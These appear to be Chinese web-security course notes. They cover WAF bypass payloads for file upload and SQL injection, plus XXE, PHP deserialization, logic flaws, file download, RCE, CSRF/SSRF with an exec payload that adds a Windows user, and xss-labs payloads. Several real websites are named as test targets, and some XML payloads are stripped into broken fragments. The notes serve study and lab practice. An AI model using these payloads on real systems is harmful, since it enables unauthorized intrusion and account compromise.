WAF-安全狗绕过文件上传

大多WAF 匹配原则

  1. 看见上传.php文件名马上拦截
  2. 看见上传php.php文件名限制左边或者右边

上传参数

Content-Disposition–用于接受表单数据
一般可以任意修改,甚至删除
name–接受到的表单名
不可修改
filename–上传文件名
可以修改
Content-Type–MIME类型
视情况定,需要考虑网站上传验证是否处理

payload:

①%00加url编码绕过
原理:利用截断加编码让waf匹配不到php后缀并且我们自己可以解析为php文件
filename=”x.php[%00].jpg”
②单双引号变异绕过:
原理:编程语言中变量后面一般都有双引号,有时候waf没有考虑到去掉引号而存在绕过
filename=”2’.php
filename=”‘2.php

③双文件名绕过:
原理:开发waf的作者只考虑到了单个变量提交,而没考虑到我们复制一个filename,产生了循环,也就只匹配了第一个
filename= ;filename=”php.php”
④换行绕过:
原理:数据包的换行默认是\n,但是waf在检测的时候检测到的是x\n.\np\nh\np
filename=”x
.
p
h
p

⑤参数溢出绕过
原理:waf检测的范围有限,没有考虑参数溢出的情况
Content-Disposition: form-data;[垃圾数据]; name=”file”;[垃圾数据];filename=”x.php”

⑥重复参数绕过
原理:waf误认为提交的参数是正常的,因而不会检测后面的数据
filename=”Content-Disposition: form-data; name=”upload_file”;x.php”

⑦数据截止绕过
filename=”a.jpg;.php”

⑧fuzz绕过
参考:https://www.cnblogs.com/-mo-/p/11221527.html

其他绕过payload:
filename=”‘.php
filename=”;2.php”

CC防护绕过

作用:检测数据包、检测速度
①未开CC绕过:模拟用户请求GET请求,比较简单,基本都有扫描防护
②开启CC绕过:
延时扫描
UA白名单
挂代理池

AWVS漏扫工具注入测试绕过

延时扫描,爬虫白名单
WAF扫描工具-wafw00f

涉及资源

https://www.cnblogs.com/-mo-/p/11221527.html 文件上传fuzz字典生成脚本
https://www.cnblogs.com/-chenxs/p/12324425.html WAF绕过参考方法
https://pan.baidu.com/s/17JiEcLOmA0VX1o1f641kKw 提取码:1111 安全狗apache4.0安装包
https://www.cnblogs.com/cxd4321/p/14629633.html 各大搜索引擎 User-Agent

WAF-安全狗绕过SQL注入

WAF绕过-安全狗

阿里云、云盾、宝塔、安全狗

深信服、绿盟、天融信、奇安信等等

方式

1、GET方式
2、POST方式
3、http头部-爬虫白名单

干扰字符

1、大小写
进行字母大小写绕过
2、加密
字符串加密
3、编码
url、md5,base64等几种常见的编码方式
4、等价函数
由于检测到关键字,因此无法使用某些函数或命令,但在很多情况下,我们可以使用它们的等效或类似代码
替换mid、ascii、eval等几种常见的敏感函数,来执行同样的效果,用其他函数来取代敏感函数
5、特殊符号
绕过正则表达式的匹配
+、`、~、!、@、%、()、[]、.、-、+ 、|、%00
6、注释符混用 //
类似跟特殊符号的作用
select database() = select database/
/()
7、参数污染

#数据库注释符
①Oracle
– 单行注释
/多行注释/

②MS SQL Server
– 单行注释
/多行注释/

③MySQL
#单行注释
– 单行注释(特别注意,– 后有个空格!!!)
/多行注释/

SQL注入绕过实验

%00 空字符
%0a 换行符
%23 #

/* /
/
!/
/
!44509*/
/!/!*/

http://192.168.80.140/sqlilabs/Less-2/?id=-1 union/%00/%23a
select 1,2,3#

#payload
http://192.168.80.140/sqlilabs/Less-2/?id=-1 union all%23%0Aselect 1,2,3#
http://192.168.80.140/sqlilabs/Less-2/?id=-1 union/%00/%23a%0Aselect 1,2,3#
http://192.168.80.140/sqlilabs/Less-2/?id=-1 union/%00/%23a%0Aselect 1,database%23a%0A(),3#
http://192.168.80.140/sqlilabs/Less-2/?id=-1 union/%00/%23a%0A/!select 1,database%23x%0A(),3/#

http://192.168.80.140/sqlilabs/Less-2/?id=1/*&id=-1%20union%20select%201,2,3%23*/
参数污染:安全狗进行检测得时候,会以为后面得已经被注释了,所以不会去检测,然后由于参数污染,实际上接受得是后面得那部分&后面的语句

http://192.168.80.140/sqlilabs/Less-2/?id=-1 union /!44509select/ 1,2,3#
http://192.168.80.140/sqlilabs/Less-2/?id=-1 union/%00//!44509select/ 1,database%23x%0A(),3#

如果在/后加惊叹号!意为/ /里的语句将被执行,在mysql中 /! …./ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/!….*/中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行

参考链接:http://www.360doc.cn/mip/960801574.html?ivk_sa=1024320u

XXE漏洞-利用检测绕过

XXE&XML漏洞

概念

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML与HTML的区别

XML 被设计用来传输和存储数据,其焦点是数据的内容
HTML 被设计用来显示数据,其焦点是数据的外观
HTML旨在显示信息,而XML旨在传输信息。

XML文档结构包括:

​ ①XML声明
​ ②DTD文档类型定义(可选)
​ ③文档元素

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >

]>

&xxe;

SYSTEM标识符意味着该实体将从外部来源获取内容

危害

文件读取
RCE执行
内网攻击
Dos攻击

利用

1、输出形式
①有回显:
协议玩法:http、file、各个脚本支持协议
外部引用
②无回显:外部引用-反向连接配合
2、过滤绕过
①各种协议
②外部引用
③编码UTF-16BE

检测

1、白盒:
①函数及可控变量查找
②传输和存储数据格式类型
2、黑盒:
①人工:
数据格式类型判断: testadmin
Content-Type值判断:test/xml、application/xml
更改Content-Type值看返回
②工具:XXEinjector、XXExploiter等

#DTD —会被XML所识别并执行
文档类型定义(DTD)可定义合法的 XML 文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE 声明

(2)外部文档声明

#DTD 实体
(1)内部实体声明

(2)外部实体声明

(3)参数实体声明

#xxe 漏洞修复与防御方案-php,java,python
#方案 1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
#方案 2-过滤用户提交的 XML 数据
过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC

实验

pikachu靶场XML数据传输测试–回显,玩法,协议,引入

读取文件

]>
&xxe;

内网探测

]>
&xxe;

引入外部实体dtd

利用条件:网站未禁止外部实体应用

%file;
]>
&send;

test.dtd:

无回显-读取文件

日志文件:C:\phpStudy\Apache\logs
需要开启日志功能:打开httpd.conf配置文件,去掉CustomLog “logs/access.log” common前面两个##
注:dtd里的内容,内部的%号要进行实体编码成&#x25

%dtd;%send;
]>

test.dtd:

%payload;

协议-读文件(绕过)

参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

]>
&xxe;

   xxelab靶场登陆框测试-检测发现

①提交的数据包含 XML 格式如:
admin
②请求头中如:
Content-Type:text/xml 或 Content-type:application/xml

]>
&test;admin

CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式
更改请求数据格式:application/xml

]>
&f;
xxe漏洞自动化注射脚本工具-XXEinjector(Ruby)

涉及资源

http://web.jarvisoj.com:9882/ CTF-Jarvis-OJ-Web-XXE靶场
https://github.com/c0ny1/xxe-lab xxe靶场
https://www.cnblogs.com/bmjoker/p/9614990.html XXEinjector注入工具
https://www.cnblogs.com/20175211lyz/p/11413335.html XXE基本知识

PHP反序列化漏洞

PHP 反序列化

概念:序列化就是将对象转换成字符串,反序列化相反,数据的格式的转换对象的序列化利于对象的保存和传输,也可以让多个文件共享对象
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
serialize() //将一个对象转换成一个字符串–序列化
unserialize() //将字符串还原成一个对象–反序列化

有类与无类

1、有类 class

​ 触发魔术方法
​ __construct()
​ __destruct()
​ __wakeup()
​ __toString()
​ ……

2、无类 不具有魔术方法

序列化格式

O:4:”user”:2:{s:3:”age”;i:18;s:4:”name”;s:3:”yucedu”;}
O代表对象;4代表对象名长度;2代表2个成员变量;

利用

1、真实应用 java环境
2、各种CTF比赛

危害

1、SQL注入
2、代码执行
3、目录遍历
4、……

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:
参考:https://www.cnblogs.com/20175211lyz/p/11403397.html
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

实验

PHP反序列化无类本地测试
PHP反序列化有类魔术方法本地测试
网鼎杯-AreUSerialz-有类魔术方法触发
= 赋值
== 判断是否相等
=== 全等,类型和数值都要一样

涉及资源

https://www.ctfhub.com/#/challenge ctf网鼎杯反序列化题目
https://www.cnblogs.com/20175211lyz/p/11403397.html PHP反序列化基本知识

测试代码:
<?php
error_reporting(0);
include “flag.php”;
$KEY = “yucedu”;
$str = $GET[‘str’];
if (unserialize($str) ===$KEY)
{
echo “$flag”;
}
show_source(__FILE_
);

class ABC{
public $test;
function __construct(){
$test =1;
echo ‘调用了构造函数
‘;
}
function __destruct(){
echo ‘调用了析构函数
‘;
}
function __wakeup(){
echo ‘调用了苏醒函数
‘;
}
}
echo ‘创建对象 a
‘;
$a = new ABC;
echo ‘序列化
‘;
$a_ser=serialize($a);
echo ‘反序列化
‘;
$a_unser = unserialize($a_ser);
echo ‘GoodBye’;
?>

逻辑越权漏洞-验证码和token安全及找回机制

验证码安全

利用形式

1、爆破 字典暴力破解
2、识别
3、复用
4、回显
5、绕过

常见类型:图片,手机或邮箱,语音,操作等
危害:权限泄漏,短信轰炸,恶意注册,任意用户操作等

验证码识别插件工具使用

Pkav_Http_Fuzz , captcha-killer、打码平台等

token 安全

验证中可存在绕过可继续后续测试
token 爆破,token客户端回显等

利用形式

1、爆破
2、本地回显

找回重置机制

客户端回显,Response 状态值,验证码爆破,找回流程绕过

客户端回显:通过抓包或者浏览器找得到验证码
Response状态值:修改状态值进行绕过客户端验证
验证码爆破:通过暴力破解
找回流程绕过:跳过安全验证得步骤

实验

验证码识别插件及工具操作演示 http://www.isaipu.net/manage/login
验证码绕过本地演示-pikachu
Token回显绕过登录爆破演示-pikachu
手机邮箱验证码逻辑-客户端回显
找回密码验证码逻辑-爆破测试
绑定手机验证码逻辑-状态值篡改-实例 福利期货APP演示 https://my.pcauto.com.cn/

涉及资源

http://downcode.com/downcode/j_16621.shtml PHP云人才系统3.2源码下载
http://www.pc6.com/az/621330.html 福利期货APP下载
https://www.cnblogs.com/hy627/p/14230099.html 重置密码之验证流程防绕过
https://pan.baidu.com/s/12gMVx4DK-ATTANBWpkmK0w 提取码:qx2c Pkav_Http_Fuzz工具下载
https://www.cnblogs.com/cwkiller/p/12659549.html 使用burp插件captcha-killer识别图片验证码
https://github.com/c0ny1/captcha-killer/releases/tag/0.1.2 captcha-killer插件下载
https://www.cnblogs.com/yufusec/p/9179625.html Burpsuite模块—-Intruder模块详解

逻辑越权漏洞—-各种越权和数据篡改

逻辑越权漏洞

水平越权

原理:通过更换的某个 ID 之类的身份标识,从而使 A 账号获取(修改、删除等)B 账号数据。
同级别用户的跨越到另一个用户的信息
用户A–用户B–用户C–用户D

其他用户名得到的?

1、从网站评论留言获取
2、从账户注册手段获取

垂直越权

原理:使用低权限身份的账号,发送高权限账号才能有的请求,获得其高权限的操作。
从低权限跨越到一个高权限,普通用户享受超级管理员的权限
普通用户–>计划专员–>超级查看员–>超级管理员

垂直越权:添加用户或者其他高权限操作
前提条件:获取的有关高权限操作的数据包

数据包如何获取:

1、普通用户前端界面具有高权限操作的按钮,模拟抓取数据包
2、通过网站源码本地搭建去模拟抓取
3、盲猜

登录应用功能点安全问题

检测功能点,危害
1
2
3
4
5
1.登录点暴力破解
2.HTTP/HTTPS 传输--明文与密文传输
3.Cookie脆弱点验证--Cookie的简单验证
4.Session会话固定测试--Session会话未及时清空
5.验证密文比对安全测试--泄露密码加密方式
数据篡改安全问题

原理,检测,危害,修复等
参考:https://www.secpulse.com/archives/67080.html

商品购买流程:

选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付

常见篡改参数:

商品编号 ID,购买价格,购买数量,订单号,支付状态等

修复防御方案

1.前后端同时对用户输入信息进行校验,双重验证机制
2.调用功能前验证用户是否有权限调用相关功能
3.执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
4.直接加密资源ID,防止攻击者枚举ID,敏感数据特殊化处理
5.永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤

实验

Pikachu-本地水平垂直越权演示
墨者靶场-身份认证失效漏洞实战
HTTP/HTTPS 协议密文抓取
Cookie 脆弱点验证修改测试
niushop商场系统商品支付逻辑测试-数量,订单
大米CMS建站系统商品支付逻辑测试-价格,商品

涉及资源

https://www.mozhe.cn/bug/detail/eUM3SktudHdrUVh6eFloU0VERzB4Zz09bW96aGUmozhe 身份认证失效漏洞实战
https://github.com/huyuanzhi2/password_brute_dictionary 爆破字典
https://pan.baidu.com/s/1wTcWym1gTZOdZsVtCTxNsw 提取码:dana CMS靶场

文件操作之文件下载读取

文件下载,读取

原理,检测,利用,修复等

1
2
3
4
1.文件被解析,则是文件包含漏洞
2.显示源代码,则是文件读取漏洞
3.提示文件下载,则是文件下载漏洞
4.文件被删除,则是文件删除漏洞 服务器上的文件能够被删除

文件下载

漏洞检测

白盒测试:代码审计
黑盒测试:
1、漏扫工具
2、公开漏洞
3、手工看参数值及功能点(资源下载)

利用

1、常见文件 - 后台首页日志等可见文件
2、敏感文件 - 配置文件(数据库,平台,脚本语言等)
- 各种接口文件
- 密钥信息等文件

http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=ai.png
http://127.0.0.1/pikachu/vul/unsafedownload/download/ai.png
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../down_nba.php

如何去获取敏感文件

1、通过扫描工具或者爬虫爬取 御剑、A7kbscan-WebPathBrute
2、通过读取其他文件的信息并分析其路径

文件下载漏洞url特点

文件名、参数值、目录符号
read.xxx?filename=
down.xxx?filename=
readfile.xxx?file=
downfile.xxx?file=

&readpath=、&filepath=、&path=、&inputfile=、&url=、&data=、&readfile=、&menu=、META-INF= 、WEB-INF

../ ..\ .\ ./ 等
%00 ? %23 %20 等

各种协议调用配合
Javaweb 文件下载代码

https://blog.csdn.net/Cheng_May/article/details/78600833

<%@ page language=”java” import=”java.util.*” pageEncoding=”UTF-8”%>
<%
String path = request.getContextPath();
String basePath =
request.getScheme()+”://“+request.getServerName()+”:”+request.getServerPort()+path+”/“;
%>

文件下载
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setCharacterEncoding(“UTF-8”);
//设置 ContentType 字段值
response.setContentType(“text/html;charset=utf-8”);
//获取所要下载的文件名称
String filename = request.getParameter(“filename”);
//下载文件所在目录
String folder = “/filename/“;
//通知浏览器以下载的方式打开response.addHeader(“Content-type”, “appllication/octet-stream”);
response.addHeader(“Content-Disposition”, “attachment;filename=”+filename);
//通知文件流读取文件
InputStream in = getServletContext().getResourceAsStream(folder+filename);
//获取 response 对象的输出流
OutputStream out = response.getOutputStream();
byte[] buffer = new byte[1024];
int len;
//循环取出流中的数据
while((len = in.read(buffer)) != -1){
out.write(buffer,0,len);

}
}

涉及案例

Pikachu文件下载漏洞原理演示
zdns真实网站文件下载测试-功能点 https://www.znds.com/
RoarCTF2019-Easy Java-文件下载读取真题复现
七日情侣真实网站渗透测试 http://www.danhaoteng.com
小米路由器-文件读取真实测试-漏洞

涉及资源

https://blog.csdn.net/Cheng_May/article/details/78600833 javaWeb文件下载代码
https://buuoj.cn/challenges#%5BRoarCTF%202019%5DEasy%20Java CTF考题
https://www.seebug.org/vuldb/ssvid-98122 小米路由器远程任意文件读取漏洞

RCE代码命令执行漏洞

RCE代码及命令执行漏洞

RCE(remote code/command execute) 远程代码/命令执行漏洞

如何产生:在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

RCE漏洞危害

1、执行系统命令(Windows:DOS命令、linux)
2、执行脚本代码(php、java、python)

相关函数

RCE 漏洞产生相关性函数

PHP eval()函数
作用:把字符串按照PHP代码来计算

PHP system()函数
作用:执行外部程序,并显示输出
外部程序:操作系统与环境
执行的代码以系统的命令为主

?id=1

漏洞形成条件:可控变量、漏洞函数

可控变量:基本上是网址上的传参,就是传递参数值来达到改变变量值
漏洞函数:使用哪个函数对变量进行操作

漏洞检测

白盒测试:代码审计
黑盒测试:
1、漏洞工具–OpenVAS、Nessus等
2、公开漏洞–寻找类似目标网站的公开漏洞
3、手工看参数值及功能点–判定参数值的数据是否和代码相关

相关防御

1、变量过滤或固定
2、禁用敏感函数
3、WAF产品防护

实验

​ 1、墨者靶场黑盒测试功能点命令执行-命令注入执行分析
​ 2、墨者靶场白盒代码及命令执行-PHP代码分析溯源-代码分析
​ echo $_REQUEST[a]
​ 反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量,linux特有
​ 3、墨者靶场黑盒层 RCE 漏洞检测-公开漏洞
​ 当前目录、根目录
​ 4、一句话 Webshell 后门原理代码执行-拓展说明-中国菜刀、冰蝎、蚁剑

​ @表示不回显错误结果

涉及资源

https://www.cnblogs.com/-qing-/p/10819069.html RCE漏洞函数
https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe 命令注入执行分析
https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe PHP代码分析溯源
https://www.mozhe.cn/bug/detail/d01lL2RSbGEwZUNTeThVZ0xDdXl0Zz09bW96aGUmozhe Webmin未经身份验证的远程代码执行

CSRF

CSRF漏洞解释,原理

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。

原理:

CSRF攻击攻击原理及过程如下:

1
2
3
4
5
6
7
1. 用户打开浏览器,访问受信任银行网站,输入用户名和密码请求登录网站;
2.在用户信息通过验证后,银行网站产生Cookie信息并返回给浏览器,此时用户登录网站成功,可以正常发送请求到网站;
3. 用户未退出银行网站之前,在同一浏览器中,打开一个TAB页访问其他网站B
4. 这时候网站B 已被黑客注入诱导信息,加入是一张图片,图片地址指向
src=”http://bank.example/withdraw?account=bob&amount=1000000&for=黑客
点击之后转账给黑客这个账户
5. 浏览器在接收到这些攻击性代码请求后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,根据用户的Cookie信息以C的权限处理该请求,导致来自黑客请求恶意代码被执行。

这是原理, 攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

参考:https://www.jianshu.com/p/ffb99fc70646

防御方案

1、当用户发送重要的请求时需要输入原始密码
2、设置随机Token
3、检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4、设置验证码
5、限制请求方式只能为 POST

随机token

Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。

SSRF漏洞解释,原理

参考:https://www.t00ls.net/articles-41070.html

SSRF(Server-Side Request Forgery 服务器请求伪造)
目标:从外网无法访问的内部系统
形成原因:服务端提供了从其他服务器获取信息的功能,但没有对内网目标地址做过滤与限制
挖掘:从web功能上寻找 参考:https://blog.csdn.net/kuiguowei/article/details/79070999
1)分享:通过URL地址分享网页内容
2)转码服务: 通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览 http://101.201.64.215:8088/
3)在线翻译:通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等
4)图片加载与下载: 通过URL地址加载或下载图片
5)图片、文章收藏功能
6)未公开的api实现以及其他调用URL的功能

私有地址:
10.0.0.0 - 10.255.255.255
172.16.0.0 - 172.31.255.255
192.168.0.0 - 192.168.255.255

上传图片、视频方式

1、本地上传
2、远程上传

利用各种协议进行探针:

http://192.168.80.134/phpmyadmin/
file://C:/www.txt
dict://192.168.80.134:3306/info
ftp://192.168.80.134:21

实验

​ Pikachu-CSRF实验
​ Pikachu-CSRF防御-token测试
​ SSRF漏洞本地靶场演示_HttpFileServer应用测试
​ 参考:https://blog.csdn.net/weixin_30527323/article/details/94862967
http://192.168.80.134:8080/?search==%00{.exec|cmd.exe /c net user test1234 1234 /add.}

涉及资源

https://www.jianshu.com/p/ffb99fc70646 CSRF漏洞原理
https://www.t00ls.net/articles-41070.html SSRF漏洞

本地测试代码:

请输入图片地址:

xss漏洞-过滤绕过及工具使用

简单介绍Beef工具

Broser:主要是针对浏览器的一些信息收集或攻击,其下的子选项卡Hooked Domain主要是获取HTTP属性值,比如cookie、表单值等,还可以做写简单的浏览器操作,比如替换href值,弹出警告框,重定向浏览器等。这个选项卡下的有些模块会根据受害者的浏览器来决定是否显示。主要是浏览器通用操作和其他基本信息检测。
Chrome extensions:主要是针对谷歌浏览器扩展插件
Debug:调试功能
Exploits:漏洞利用,主要利用一些已公开的漏洞进行攻击测试
Host:针对主机,比如检测主机的浏览器、系统信息、IP地址、安装软件等等
IPEC:协议间通信。主要是用来连接、控制受害者浏览器的
Metasploit:Beef可通过配置和metasploit平台联合,一旦有受害者出现,可通过信息收集确定是否存在漏洞,进一步方便metasploit攻击测试
Misc:杂项。
Network:网络扫描
Persistence:维护受害者访问
Phonegap:手机测试
Social engineering:社会工程学攻击

其中:
绿色模块:可以执行且目标不可见
红色模块:不适合当前目标
橙色模块:可以执行但目标可见
灰色模块:未在目标浏览器上测试过

配置文件:/usr/share/beef-xss/config.yaml
Get Cookie、Redirect Browser(跳转)、Fake Flash Update(图片伪造下载)

https://www.wangan.com/docs/815 beef模块说明

HttpOnly 属性过滤防读取

如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击

登录后台的方式

1、直接登录
2、采用cookie登录

绕过 httponly:

1、浏览器保存帐号密码:浏览器读取帐号密码
2、浏览器未保存帐号密码:利用表单劫持

参考:https://woj.app/1684.html

代码类过滤:xsslabs

onclick=”alert(1)”

less-2:”>
less-3:’ onclick=’alert(1)
less-4:”onclick=”alert(1)”
less-5:”>

less-6:”>

less-7:” oonnclick=”alert(1)”
less-8:javascript:alert(1)
less-9:javascript:alert(1)//http://
less-10:?keyword=111&t_sort=” onclick=”alert(1)” 将type改成text
less-11:?keyword=good job!&t_sort=” onclick=”alert(1)” 将type改成text

涉及资源

https://github.com/do0dl3/xss-labs
https://www.wangan.com/docs/815 beef模块说明